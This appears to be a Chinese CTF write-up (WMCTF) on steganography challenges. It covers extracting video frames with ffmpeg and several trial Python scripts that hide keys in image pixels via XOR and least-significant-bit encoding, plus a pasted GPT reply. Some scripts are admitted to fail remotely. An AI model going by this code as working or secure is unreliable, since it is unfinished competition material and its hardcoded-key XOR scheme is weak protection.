ffmpeg -i E:\BaiduNetdiskDownload\1\flag.avi -r 30 C:\Users\Ap_os\Desktop\2-4\image-%3d.png

img

img

隐写查看

img

得到w, 应该是WMCTF{},然后将每一帧都进行查看即可

得到字符串进行剔除重复的,然后使用比较多的相同字符即为flag中重复的字符,比如下面的9

img

StegLab1

加密脚本

from PIL import Image
import numpy as np

class Solution:
    def Encrypt(self, img_path, key):
        key = "1111"
        img = Image.open(img_path)
        img_array = np.array(img)

        key_values = [ord(char) for char in key]
        max_key_length = min(len(key_values), img_array.size)

        flat_img_array = img_array.flatten()

        for i in range(max_key_length):
            flat_img_array[i] ^= key_values[i]

        encrypted_img_array = flat_img_array.reshape(img_array.shape)

        encrypted_img = Image.fromarray(encrypted_img_array.astype(np.uint8))

        return encrypted_img

写解密脚本跑出来这个加密的key,系统可以检测得应该就可以点击flag

class Solution:
    def Encrypt(self, img, key) :
        img = Image.open(img)
        img_array = np.array(img)

        key_bin = ''.join(format(ord(char), '08b') for char in key)  # Convert key to binary

        key_index = 0  # Track the index of the key bit we're currently hiding

        for i in range(img_array.shape[0]):
            for j in range(img_array.shape[1]):
                for k in range(img_array.shape[2]):
                    if key_index < len(key_bin):
                        pixel_value = img_array[i, j, k]
                        new_pixel_value = pixel_value & 0xFE | int(key_bin[key_index])
                        img_array[i, j, k] = new_pixel_value
                        key_index += 1
                    else:
                        break

        encrypted_img = Image.fromarray(img_array)
        return encrypted_img
class Solution:
    def Decrypt(self,img)-> str:
        img = Image.open(img)
        img_array = np.array(img)

        key_bin = ""
        key_length = 0

        for i in range(img_array.shape[0]):
            for j in range(img_array.shape[1]):
                for k in range(img_array.shape[2]):
                    pixel_value = img_array[i, j, k]
                    key_bit = pixel_value & 0x01
                    key_bin += str(key_bit)
                    key_length += 1

                    if key_length == 80:  # Assuming a maximum key length of 10 characters (8 bits * 10 = 80 bits)
                        break

                if key_length == 80:
                    break

            if key_length == 80:
                break

        key_chars = [chr(int(key_bin[i:i+8], 2)) for i in range(0, len(key_bin), 8)]
        key = ''.join(key_chars)
        return key

没有key可以,有了key不行

class Solution:
    def Encrypt(self, img, key):
        img = Image.open(img)
        img_array = np.array(img)
        flat_img_array = img_array.flatten()

        data_binary = ''.join(format(pixel, '08b') for pixel in flat_img_array)
        key_binary = ''.join(format(ord(char), '08b') for char in key)

        if len(key_binary) < len(data_binary):
            key_binary += key_binary * ((len(data_binary) // len(key_binary)) + 1)
        
        encrypted_data = ''
        for data_bit, key_bit in zip(data_binary, key_binary):
            encrypted_bit = str(int(data_bit) ^ int(key_bit))
            encrypted_data += encrypted_bit
        
        encrypted_pixels = [int(encrypted_data[i:i+8], 2) for i in range(0, len(encrypted_data), 8)]
        encrypted_img_array = np.array(encrypted_pixels, dtype=np.uint8)
        encrypted_img_array = encrypted_img_array.reshape(img_array.shape)
        encrypted_img = Image.fromarray(encrypted_img_array)
        
        return encrypted_img
class Solution:
    def Decrypt(self, img, key):
        img = Image.open(img)
        img_array = np.array(img)
        flat_img_array = img_array.flatten()

        key_binary = ''.join(format(ord(char), '08b') for char in key)

        extracted_data = ''
        for pixel in flat_img_array:
            pixel_binary = format(pixel, '08b')
            extracted_bit = str(int(pixel_binary[-1]) ^ int(key_binary[-1]))
            extracted_data += extracted_bit
            key_binary = key_binary[1:] + extracted_bit

        extracted_text = ''.join(chr(int(extracted_data[i:i+8], 2)) for i in range(0, len(extracted_data), 8))
        
        return extracted_text

StegLab2-ToJPGAttack 本地测了没什么问题,能够加解密,服务器远程加密成功,解密寄了

GPT:

抱歉我之前的回复没有写完下面是如何使用PILnumpy和异或加密将文本信息加密到图像中并从加密图像中解密文本信息的完整代码
from PIL import Image
import numpy as np

def xor_crypt(data, key):
    return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def encode_image(img, msg, key):
    data = np.array(img)
    encrypted_msg = xor_crypt(msg.encode(), key)
    if len(encrypted_msg) * 8 > data.size:
        raise ValueError("Message is too long to encode in image")
    bin_msg = ''.join([format(i, "08b") for i in encrypted_msg])
    data = data.flatten()
    for i in range(len(bin_msg)):
        data[i] = data[i] & ~1 | int(bin_msg[i])
    return Image.fromarray(data.reshape(img.size[1], img.size[0], 3))

def decode_image(img, key):
    data = np.array(img)
    data = data.flatten()
    bin_msg = ''.join([str(data[i] & 1) for i in range(data.size)])
    encrypted_msg = int(bin_msg, 2).to_bytes(len(bin_msg) // 8, 'big')
    return xor_crypt(encrypted_msg, key).decode()

key = b"mysecretpassword"
img = Image.open("image.png")
encoded_img = encode_image(img, "Hello, World!", key)
encoded_img.save("encoded_image.png")
img = Image.open("encoded_image.png")
msg = decode_image(img, key)
print("Decoded message:", msg)

上面的代码定义了三个函数xor_cryptencode_image和decode_imagexor_crypt函数接受一个要加密/解密的数据和一个用于异或加密的密钥作为输入并返回加密/解密后的数据encode_image函数接受一个PIL图像对象一个要加密的文本消息和一个用于异或加密的密钥作为输入并返回一个加密后的PIL图像对象decode_image函数接受一个加密的PIL图像对象和一个用于异或解密的密钥作为输入并返回解密后的文本信息
希望这些信息对您有所帮助如果您有其他问题请随时告诉我。😊

加密:

class Solution:
    def xor_crypt(self, data, key):
        return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])
    def Encrypt(self, img, key):
        # img, msg, key
        img = Image.open(img)
        data = np.array(img)
        msg = key
        key = b"mysecretpassword"

        encrypted_msg = self.xor_crypt(msg.encode(), key)
        if len(encrypted_msg) * 8 > data.size:
            raise ValueError("Message is too long to encode in image")
        bin_msg = ''.join([format(i, "08b") for i in encrypted_msg])
        data = data.flatten()
        for i in range(len(bin_msg)):
            data[i] = data[i] & ~1 | int(bin_msg[i])
        return Image.fromarray(data.reshape(img.size[1], img.size[0], 3))

解密:

class Solution:

    def xor_crypt(self, data, key):
        return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

    def Decrypt(self,img)-> str:
    # def decode_image(img, key):
        key = b"mysecretpassword"
        img = Image.open(img)
        data = np.array(img)
        data = data.flatten()
        bin_msg = ''.join([str(data[i] & 1) for i in range(data.size)])
        encrypted_msg = int(bin_msg, 2).to_bytes(len(bin_msg) // 8, 'big')
        d = self.xor_crypt(encrypted_msg, key)
        # print(d[:20])
        return d.decode()

See also